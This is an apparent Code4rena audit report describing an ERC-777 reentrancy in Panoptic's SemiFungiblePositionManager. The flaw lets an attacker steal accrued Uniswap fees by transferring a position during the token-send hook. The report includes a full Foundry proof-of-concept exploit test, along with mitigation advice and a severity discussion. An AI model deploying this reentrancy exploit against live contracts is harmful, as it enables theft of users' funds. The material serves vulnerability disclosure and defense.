ERC777 token reentrancy allows to steal fees

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1031-L1066

Vulnerability details

Impact

An attacker can steal fees in case of ERC-777 tokens

Proof of Concept

When minting a position, s_accountFeesBase is updated only after the token transfer to Uniswap.
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1031-L1066

    function _createLegInAMM(
        IUniswapV3Pool _univ3pool,
        uint256 _tokenId,
        uint256 _leg,
        uint256 _liquidityChunk,
        bool _isBurn
    ) internal returns (int256 _moved, int256 _itmAmounts, int256 _totalCollected) {
        
        ..........

            s_accountLiquidity[positionKey] = uint256(0).toLeftSlot(removedLiquidity).toRightSlot(
                updatedLiquidity
            );
        }

        {
            
            .......... 


            _moved = isLong == 0
=>              ? _mintLiquidity(_liquidityChunk, _univ3pool)
                : _burnLiquidity(_liquidityChunk, _univ3pool); // from msg.sender to Uniswap
            
        ............

=>          s_accountFeesBase[positionKey] = _getFeesBase(
            _univ3pool,
            updatedLiquidity,
            _liquidityChunk
        );
    }

In case of an ERC-777 token a user can reenter SemiFungiblePositionManager and transfer the position/token to another one of his controlled address.
This will cause the transferred address to have the updated liquidity but the old feesBase and the remaining calculation in the original address to have a reduced feeBase. This can be used to earn higher fees than what should actually be distributed to the user
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L626-L630

    function registerTokenTransfer(address from, address to, uint256 id, uint256 amount) internal {
        
            ...........

            int256 fromBase = s_accountFeesBase[positionKey_from];

            s_accountLiquidity[positionKey_to] = fromLiq;
            s_accountLiquidity[positionKey_from] = 0;

            // @audit sets feeBase of current address to 0. the fees calculation after reentry will use this value
            s_accountFeesBase[positionKey_to] = fromBase;
            s_accountFeesBase[positionKey_from] = 0;

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1209

    function _collectAndWritePositionData(
        uint256 liquidityChunk,
        IUniswapV3Pool univ3pool,
        uint256 currentLiquidity,
        bytes32 positionKey,
        int256 movedInLeg,
        uint256 isLong
    ) internal returns (int256 collectedOut) {
        uint128 startingLiquidity = currentLiquidity.rightSlot();
        int256 amountToCollect = _getFeesBase(univ3pool, startingLiquidity, liquidityChunk).sub(
            s_accountFeesBase[positionKey]
        );

Example Scenario

feesBase is shown as single token variable for ease

1. Attacker mints a position with liquidity = 100 and feeBase = 1000
2. Attacker again mints a position with liquidity = 100. In the hook, the attacker reenters the SemiFungiblePositionManager and transfers the entire token amount to another address.
3. The new address will have liquidity = 200 and feeBase = 1000 and the attacker will have 0 feeBase for the current calculation. Both of these will increase the fees gained by the attacker. The 0 feeBase will allow the attacker to steal all the fees accounted to the SemiFungiblePositionManager by using the above steps

Another attack possible is to transfer a position where the liquidity is low ( instead of adding in the above steps the attacker withdraws majority of the liquidity keeping a negligible amount left) and the feeBase is high. This will cause the fees calculation in the transferred address to revert hence disabling any mint on that position

POC Code

Set fork_block_number = 18706858
Run : forge test --mt testHash_FeesBaseReentry

diff --git a/test/foundry/core/SemiFungiblePositionManager.t.sol b/test/foundry/core/SemiFungiblePositionManager.t.sol
index 5f09101..90c6c48 100644
--- a/test/foundry/core/SemiFungiblePositionManager.t.sol
+++ b/test/foundry/core/SemiFungiblePositionManager.t.sol
@@ -20,6 +20,7 @@ import {SqrtPriceMath} from "v3-core/libraries/SqrtPriceMath.sol";
 import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
 import {PositionKey} from "v3-periphery/libraries/PositionKey.sol";
 import {ISwapRouter} from "v3-periphery/interfaces/ISwapRouter.sol";
+import {INonfungiblePositionManager} from "v3-periphery/interfaces/INonfungiblePositionManager.sol";
 import {SemiFungiblePositionManager} from "@contracts/SemiFungiblePositionManager.sol";
 import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import {PositionUtils} from "../testUtils/PositionUtils.sol";
@@ -50,6 +51,15 @@ contract UniswapV3FactoryMock {
     }
 }
 
+interface IERC1820Registry {
+    function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
+}
+
+interface IMBTC {
+    function addMinter(address account) external;
+    function mint(address recipient, uint256 amount, bytes calldata userData, bytes calldata operatorData) external;
+}
+
 contract SemiFungiblePositionManagerTest is PositionUtils {
     using TokenId for uint256;
     using LeftRight for uint256;
@@ -81,6 +91,8 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
         IUniswapV3Pool(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8);
     IUniswapV3Pool[3] public pools = [USDC_WETH_5, USDC_WETH_5, USDC_WETH_30];
 
+    address imBTC = 0x3212b29E33587A00FB1C83346f5dBFA69A458923;
+    address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
     /*//////////////////////////////////////////////////////////////
                               WORLD STATE
     //////////////////////////////////////////////////////////////*/
@@ -239,6 +251,139 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
 
     function setUp() public {
         sfpm = new SemiFungiblePositionManagerHarness(V3FACTORY);
+        address imbtcusdcpool = V3FACTORY.createPool(imBTC, usdc, 500);
+        uint160 startPrice = 1584563250285286800000000000000;
+        IUniswapV3Pool(imbtcusdcpool).initialize(startPrice);
+        _cacheWorldState(IUniswapV3Pool(imbtcusdcpool));
+        sfpm.initializeAMMPool(token0, token1, fee);
+    }
+
+    function testHash_FeesBaseReentry() public {
+        assert(token0 == imBTC);
+
+        // setup erc 777 callback
+        IERC1820Registry imbtcRegistry = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
+        // keccak256("ERC777TokensSender")
+        bytes32 TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
+        imbtcRegistry.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));
+
+        // add minter to imbtc to add test funds since deal() fails
+        vm.prank(0xb9E29984Fe50602E7A619662EBED4F90D93824C7);
+        IMBTC(imBTC).addMinter(address(this));
+
+        int24 strike = (currentTick / tickSpacing * tickSpacing) + 3 * tickSpacing;
+        int24 width = 2;
+        int24 lowTick = strike - tickSpacing;
+        int24 highTick = strike + tickSpacing;
+        uint256 shortTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 0, 0, 0, 0, strike, width);
+        uint128 posSize = 103e8;
+
+        // initial setup. accure fees in tick range so that feeGrowth doesn't start from 0 as else there would be no effect if an attacker explicity makes feebase 0
+
+        IMBTC(imBTC).mint(Alice, type(uint128).max, "", "");
+        deal(usdc, Alice, type(uint128).max);
+
+        vm.startPrank(Alice);
+
+        address uniswapNFTManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
+        IERC20Partial(imBTC).approve(uniswapNFTManager, type(uint256).max);
+        IERC20Partial(usdc).approve(uniswapNFTManager, type(uint256).max);
+        IERC20Partial(imBTC).approve(address(router), type(uint256).max);
+        IERC20Partial(usdc).approve(address(router), type(uint256).max);
+
+        // mint using nft manager and accrue fees
+        INonfungiblePositionManager(uniswapNFTManager).mint(
+            INonfungiblePositionManager.MintParams(
+                token0, token1, fee, lowTick, highTick, posSize, 0, 0, 0, Alice, block.timestamp
+            )
+        );
+        uint256 amountReceived = router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token1, token0, fee, Bob, block.timestamp, 200_000_0e6, 0, 0)
+        );
+        router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token0, token1, fee, Bob, block.timestamp, amountReceived, 0, 0)
+        );
+        vm.stopPrank();
+
+        IMBTC(imBTC).mint(address(this), type(uint128).max, "", "");
+        IERC20Partial(imBTC).approve(address(sfpm), type(uint256).max);
+        deal(usdc, address(this), type(uint128).max);
+        IERC20Partial(usdc).approve(address(sfpm), type(uint256).max);
+
+        // attacker mints token 1
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+
+        address anotherUser = address(0x12323184392234);
+
+        IMBTC(imBTC).mint(anotherUser, type(uint128).max, "", "");
+        deal(usdc, anotherUser, type(uint128).max);
+
+        // another user mints in the same position
+
+        vm.startPrank(anotherUser);
+
+        IERC20Partial(imBTC).approve(address(sfpm), type(uint256).max);
+        IERC20Partial(usdc).approve(address(sfpm), type(uint256).max);
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+
+        vm.stopPrank();
+
+        // new fees accrual which both the attacker and anotherUser has equal shares of
+
+        IERC20Partial(imBTC).approve(address(router), type(uint256).max);
+        IERC20Partial(usdc).approve(address(router), type(uint256).max);
+        amountReceived = router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token1, token0, fee, Bob, block.timestamp, 200_000_0e6, 0, 0)
+        );
+
+        router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token0, token1, fee, Bob, block.timestamp, amountReceived, 0, 0)
+        );
+
+        // fees has been accrued
+        vm.prank(address(sfpm));
+        pool.burn(lowTick, highTick, 0);
+
+        (,,, uint128 tokensOwed0, uint128 tokensOwed1) =
+            pool.positions(keccak256(abi.encodePacked(address(sfpm), lowTick, highTick)));
+        assert(tokensOwed0 > 0);
+        assert(tokensOwed1 > 0);
+
+        // attacker mints token 2. this time attacker reenters and transfers the token to another address resetting the feeBase to 0 for the attacker and hence steals all the fees
+        reenter = true;
+        reenterTransferTokenId = shortTokenId;
+        reenterTransferAmount = posSize * 2;
+
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+
+        // all fees have been captured by attacker
+        (,,, tokensOwed0, tokensOwed1) = pool.positions(keccak256(abi.encodePacked(address(sfpm), lowTick, highTick)));
+
+        assert(tokensOwed0 == 0);
+        assert(tokensOwed1 == 0);
+    }
+
+    function onERC1155Received(address, address, uint256 id, uint256, bytes memory) public returns (bytes4) {
+        return this.onERC1155Received.selector;
+    }
+
+    bool reenter = false;
+    uint256 reenterTransferTokenId;
+    uint128 reenterTransferAmount;
+
+    function tokensToSend(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes calldata userData,
+        bytes calldata operatorData
+    ) external {
+        if (reenter) {
+            // transfer all the tokens to another address causing the feeBase to be 0 for the current address and a lowered one for the transferred address
+            address ally = address(0x1232111312312);
+            sfpm.safeTransferFrom(address(this), ally, reenterTransferTokenId, reenterTransferAmount, "");
+        }
     }

Tools Used

Manual review

Recommended Mitigation Steps

Add non-reentrant modifier on the transfer functions of SemiFungiblePositionManager or change the flow to update the s_accountFeesBase before Uniswap interaction and use the initial feeBase itself for the fees computation. By burning 0 amount before making the mint/burn liquidity call, the new feeGrowthInside can be obtained to update the s_accountFeesBase

Assessed type

Reentrancy

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

dyedm1 (sponsor) confirmed

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked issue #196 as primary and marked this issue as a duplicate of 196

[c4-judge]

Picodes marked the issue as selected for report

[osmanozdemir1]

Hi @Picodes
Thanks for judging this contest.

I think this issue deserves to be a medium because:

1. It can only happen with pools with ERC777 tokens, and doesn't affect the whole protocol. I assume that pools with ERC777 token will be a tiny portion of this protocol.

2. The impact is limited to fees only. It doesn't affect primary liquidity in the positions.

Kind regards.

[c4-judge]

Picodes marked issue #448 as primary and marked this issue as a duplicate of 448

[Picodes]

@osmanozdemir1 following the Supreme Court verdict, loss of fees should be treated "similar to any other loss of capital". Here to me "assets can be stolen/lost/compromised directly" as the protocol is explicitly made to support ERC777 tokens so this can't be considered an "external requirement". So in my opinion following C4's rules High severity is justified here.